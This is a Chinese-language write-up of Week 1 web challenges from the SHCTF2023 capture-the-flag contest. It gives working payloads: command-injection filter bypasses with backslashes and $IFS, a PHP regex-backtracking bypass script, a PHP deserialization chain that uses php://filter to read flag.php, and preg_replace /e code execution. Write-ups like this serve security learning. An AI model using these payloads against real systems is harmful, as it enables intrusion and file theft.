SHCTF2023

SHCTF2023 Web

1.[WEEK1]babyRCE

过滤了一堆命令、符号和空格,但是没有过滤 \ 号所以直接在rce的命令中间加上\即可绕过,空格可以用$IFS绕过。

先传 rce=l\s$IFS/ 读目录

然后读flag即可 rce=ca\t$IFS/fla\g

2.[WEEK1]1zzphp

preg_match("/[0-9]/", $num)elseif(intval($num))直接用数组即可绕过,

intval()无法将数组转为数字,但返回值为1

1
2
3
4
if(preg_match('/.+?SHCTF/is', $code))    
{ die('no touch!'); }
if(stripos($code,'2023SHCTF') === FALSE)
{ die('what do you want'); }

里面利用php匹配字符串的回溯次数限制(回溯操作会导致时间复杂度呈指数级增长,对于复杂的正则表达式和长字符串,性能损失会非常明显),传入一个很大的字符串即可绕过。

脚本如下:

1
2
3
4
5
6
7
8
import requests

url='url/?num[]=1'
data={
'c_ode':'very'*250000+'2023SHCTF'
}
r=requests.post(url=url,data=data).text
print(r)

3.[WEEK1]ez_serialize

从A的include入手,包含的就是我们想要的文件。

为了执行__invoke(),那么就需要D中的$function()。

为了执行__get(),那么就需要return $this->z->var;

执行__toString就需要preg_match(“/gopher|http|file|ftp|https|dict|../i”, $this->q)。

__wakeup是在反序列化的前执行的。

然后直接用php://filter的伪协议读flag就行,解码得到flag。直接构造。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php 
class A{
public $var_1;
}

class B{
public $q;
}
class C{
public $var;
public $z;
}

class D{
public $p;
}

$a=new A();
$a->var_1="php://filter/read=convert.base64-encode/resource=flag.php";
$b=new D();
$b->p=$a;
$c=new C();
$c->z=new C();
$c->z=$b;
$c->var="a";
$d=new B();
$d->q=$c;
echo serialize($d);

?>

O:1:"B":1:{s:1:"q";O:1:"C":2:{s:3:"var";s:1:"a";s:1:"z";O:1:"D":1:{s:1:"p";O:1:"A":1:{s:5:"var_1";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}}

4.[WEEK1]登录就给flag

弱口令,直接BP爆破即可。

5.[WEEK1]飞机大战

控制台直接修改score的值即可。

6.[WEEK1]ezphp

一大串的preg_match实际上并没有做到过滤,唬人的。因为$code是到里面才进行的赋值。

preg_replace对字符传进行替换。'/(' . $pattern . ')/ei'中/e代表这一段替换后会进行代码执行。通过.*匹配所有符号。

payload:

pattern=.* code=${phpinfo()}

搜索页面即可得到flag

${phpinfo()}为什么要加{}涉及到了可变变量的问题,参考php官网的这篇文章。

https://www.php.net/manual/zh/language.variables.variable.php

主要参考这位师傅的文章https://blog.csdn.net/m0_62422842/article/details/123901195

7.[WEEK1]生成你的邀请函吧~

直接根据给定的格式发送即可得到flag的图片。


SHCTF2023
http://example.com/2023/10/03/SHCTF2023/
作者
Ec0y
发布于
2023年10月3日
许可协议